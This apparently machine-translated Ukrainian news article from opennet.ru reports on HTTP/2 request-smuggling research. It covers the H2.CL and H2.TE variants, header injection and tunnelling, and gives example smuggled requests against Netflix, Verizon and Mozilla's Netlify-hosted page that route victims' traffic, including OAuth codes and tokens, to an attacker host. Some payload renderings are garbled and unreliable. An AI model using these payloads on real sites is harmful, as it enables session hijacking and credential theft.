Нова атака на системи фронтенд-бекенд, що дозволяє вклинитися у запити

Web-системи, в яких фронтенд приймає з'єднання по HTTP/2 і передає бекенду по HTTP/1.1, виявилися схильні до нового варіанту атаки «HTTP Request Smuggling», що дозволяє через відправку спеціально оформлених клієнтських запитів вклинюватися у вміст запитів інших користувачів, що обробляються в тому ж потоці між фронтендом та бекендом. Атака може бути використана для встановлення шкідливого JavaScript-коду в сеанс з легітимним сайтом, обходу систем обмеження доступу та перехоплення параметрів аутентифікації.

Проблемі схильні web-проксі, балансувальники навантаження, web-акселератори, системи доставки контенту та інші конфігурації, в яких запити перенаправляються за схемою фронтенд-бекенд. Автор дослідження продемонстрував можливість атаки на системи Netflix, Verizon, Bitbucket, Netlify CDN та Atlassian, та отримав 56 тисяч доларів у програмах з виплати винагород за виявлення вразливостей. Наявність проблеми також підтверджено у продуктах F5 Networks. Частково проблема зачіпає mod_proxy у http-сервері Apache (CVE-2021-33193), виправлення очікується у версії 2.4.49 (розробники були повідомлені про проблему на початку травня та отримали 3 місяці на виправлення). У nginx можливість одночасного вказівки заголовків "Content-Length" і "Transfer-Encoding" були блоковані в минулому випуску (1.21.1). Кошти для атак вже додані в інструментарій Burp і доступні у формі розширення Turbo Intruder.

Принцип дії нового методу вклинювання запитів у трафік аналогічний до вразливості, виявленої тим же дослідником два роки тому, але обмеженою фронтендами, що приймають запити по HTTP/1.1. Нагадаємо, що у схемі фронтенд-бекенд запити клієнтів приймає додатковий вузол - фронтенд, який встановлює довготривале TCP-з'єднання з бекендом, що здійснює безпосередню обробку запитів. Через це спільне з'єднання зазвичай передаються запити різних користувачів, які йдуть по ланцюжку один за одним з поділом засобами протоколу HTTP.

Класична атака «HTTP Request Smuggling» ґрунтувалася на тому, що фронтенди та бекенди по-різному трактують використання HTTP-заголовків «Content-Length» (визначає загальний розмір даних у запиті) та «Transfer-Encoding: chunked» (дозволяє передавати дані частинами) . Наприклад, якщо фронтенд підтримує тільки "Content-Length", але ігнорує "Transfer-Encoding: chunked", то атакуючий може відправити запит, в якому одночасно вказані заголовки "Content-Length" і "Transfer-Encoding: chunked", але розмір в "Content-Length" не відповідає розміру chunked-ланцюжка. У цьому випадку фронтенд обробить і перенаправить запит відповідно до «Content-Length», а бекенд чекатиме завершення блоку на основі «Transfer-Encoding: chunked» і хвіст запиту атакуючого, що залишився, виявиться спочатку чужого запиту, переданого слідом.

На відміну від текстового протоколу HTTP/1.1, розбір якого складає рівні рядків, HTTP/2 є бінарним протоколом і маніпулює блоками даних заздалегідь зазначеного розміру. При цьому HTTP/2 використовуються псевдо-заголовки, відповідні звичайним заголовкам HTTP. У разі взаємодії з бекендом за протоколом HTTP/1.1 фронтенд транслює ці псевдо-заголовки в аналогічні HTTP-заголовки HTTP/1.1. Проблема в тому, що бекенд приймає рішення про аналіз потоку вже на основі виставлених фронтендом HTTP-заголовків, не маючи відомостей про параметри початкового запиту.

У тому числі у формі псевдо-заголовків можуть бути передані значення content-length і transfer-encoding, незважаючи на те, що в HTTP/2 вони не використовуються, так як розмір всіх даних визначається в окремому полі. Тим не менш, в процесі перетворення запиту HTTP/2 в HTTP/1.1 дані заголовки переносяться і можуть ввести в оману бекенд. Виділяються два основні варіанти атаки: H2.TE і H2.CL, в яких бекенд вводиться в оману некоректним значенням transfer-encoding або content-length, що не відповідає реальному розміру тіла запиту, що надійшов до фронтенду за протоколом HTTP/2.

Нова атака на системи фронтенд-бекенд, що дозволяє вклинитися у запити

Як приклад атаки H2.CL наводиться вказівка ​​некоректного розміру в псевдо-заголовку content-length під час надсилання запиту HTTP/2 до Netflix. Даний запит призводить до додавання аналогічного HTTP-заголовка Сontent-Length при зверненні до бекенду по HTTP/1.1, але так як розмір Сontent-Length вказаний менше фактичного, то частина даних в хвості обробляється як початок наступного запиту.

Наприклад, запит HTTP/2 :method POST :path /n :authority www.netflix.com content-length 4 abcdGET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar

Приведе до надсилання бекенду запиту: POST /n HTTP/1.1 Host: www.netflix.com Content-Length: 4 abcdGET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar

Оскільки Content-Length має значення 4, то бекенд сприйме як тіло запиту тільки «abcd», а решту «GET /n HTTP/1.1…» обробить як початок слідом запиту, прив'язаного до іншого користувача. Відповідно, відбудеться розсинхронізація потоку і у відповідь на слідуючий запит буде виданий результат обробки підставного запиту. У випадку з Netflix вказівка ​​стороннього хоста в заголовку «Host:» у підставному запиті призвела до виведення клієнту відповіді «Location: https://02.rs?x.netflix.com/n» та дозволило передати клієнту довільний вміст, у тому числі виконати свій JavaScript-код у контексті сайту Netflix.

Другий варіант атаки (H2.TE) пов'язаний із підстановкою заголовка "Transfer-Encoding: chunked". Використання псевдо-заголовка transfer-encoding у HTTP/2 заборонено специфікацією та запити з ним наказано трактувати як некоректні. Незважаючи на це, деякі реалізації фронтендів не враховують цю вимогу і допускають використання псвевдо-заголовка transfer-encoding HTTP/2, який перетворюється на аналогічний заголовок HTTP. За наявності заголовка «Transfer-Encoding» бекенд може сприйняти його більш пріоритетним і виконати розбір даних частинами в режимі «chunked» з використанням блоків різного розміру у форматі «{розмір}\r\n{блок}\r\n{розмір} \r\n{блок}\r\n0», незважаючи на початковий поділ за загальним розміром.

Наявність такого пролому було продемонстровано на прикладі компанії Verizon. При цьому проблема стосувалася порталу автентифікації та системи керування контентом, яка також використовується на таких сайтах як Huffington Post та Engadget. Наприклад, запит клієнта по HTTP/2: :method POST :path /identitfy/XUI :authority id.b2b.oath.com transfer-encoding chunked 0 GET /oops HTTP/1.1 Host: psres.net Content-Length: 10 x=

Приводив до передачі бекенду запиту HTTP/1.1: POST /identity/XUI HTTP/1.1 Host: id.b2b.oath.com Content-Length: 66 Transfer-Encoding: chunked 0 Length: 1.1 x=

Бекенд, у свою чергу, ігнорував заголовок Content-Length і виконував поділ у потоці на основі Transfer-Encoding: chunked. На практиці атака дозволила перенаправити запити користувачів на свій сайт і в тому числі перехопити запити, пов'язані з аутентифікацією OAuth, параметри яких світилися в заголовку Referer, а також симулювати сеанс аутентифікації та ініціювати відправку системою користувача облікових даних на атакуючого хост. GET /b2blanding/show/oops HTTP/1.1 Host: psres.net Referer: https://id.b2b.oath.com/?…&code=secret GET / HTTP/1.1 Host: psres.net Автор: Bearer eyJhcGwiOiJIUzI

Для атаки на реалізації HTTP/2, що не допускають вказівку псевдо-заголовка transfer-encoding, був запропонований ще один метод, пов'язаний з підстановкою заголовка Transfer-Encoding через його прикріплення до інших псевдо-заголовків з поділом символом перекладу рядка (при перетворенні в HTTP/1.1 у разі створюється два окремих HTTP-заголовка).

Наприклад зазначеній проблемі виявилися схильні до Atlassian Jira і Netlify CDN (використовується для віддачі стартової сторінки Mozilla в Firefox). Зокрема, запит HTTP/2 :method POST :path / :authority start.mozilla.org foo b transfer transfer-encoding: chunked : evil-netlify-domain\r\n Content-Length: 0\r\n \r\nx=

приводив до відправлення бекенду запиту HTTP/1.1 POST / HTTP/1.1 Host: start.mozilla.org Foo: Transfer-Encoding: chunked Content-Length: 71 r\n 0\r\n GET / HTTP/1.1\r\n Host: evil-netlify-domain\r\n Content-Length: 5\r\n \r\nx=

Ще одним варіантом підстановки заголовка Transfer-Encoding стало прикріплення його до імені іншого псевдозаголовка або до рядка з методом запиту. Наприклад, при зверненні до Atlassian Jira ім'я псевдо-заголовка "foo: bar\ntransfer-encoding" зі значенням "chunked" призводило до додавання HTTP-заголовків "foo: bar" і "transfer-encoding: chunked", а вказівка ​​в псевдо-заголовку «:method» значення «GET / HTTP/1.1 transfer-encoding: chunked» транслювалося в «GET / HTTP/1.1 transfer-encoding: chunked».

Дослідник, що виявив проблему, також запропонував техніку тунелінгу запитів для здійснення атаки на фронтенди, в яких для кожної IP-адреси встановлюється окреме з'єднання з бекендом і трафік різних користувачів не змішується. Запропонована техніка не дозволяє вклинюватися в запити інших користувачів, але дає можливість отруїти загальний кеш, що впливає на обробку інших запитів, і дозволяє виконати підстановку внутрішніх HTTP-заголовків, що використовуються для передачі службових відомостей від фронтенду до бекенду (наприклад, при аутентифікації на стороні фронтенду подібних заголовках бекенду можуть передаватися відомості про поточного користувача). Як приклад застосування методу на практиці за допомогою отруєння кешу вдалося отримати контроль за сторінками у сервісі Bitbucket.

Джерело: opennet.ru

Додати коментар або відгук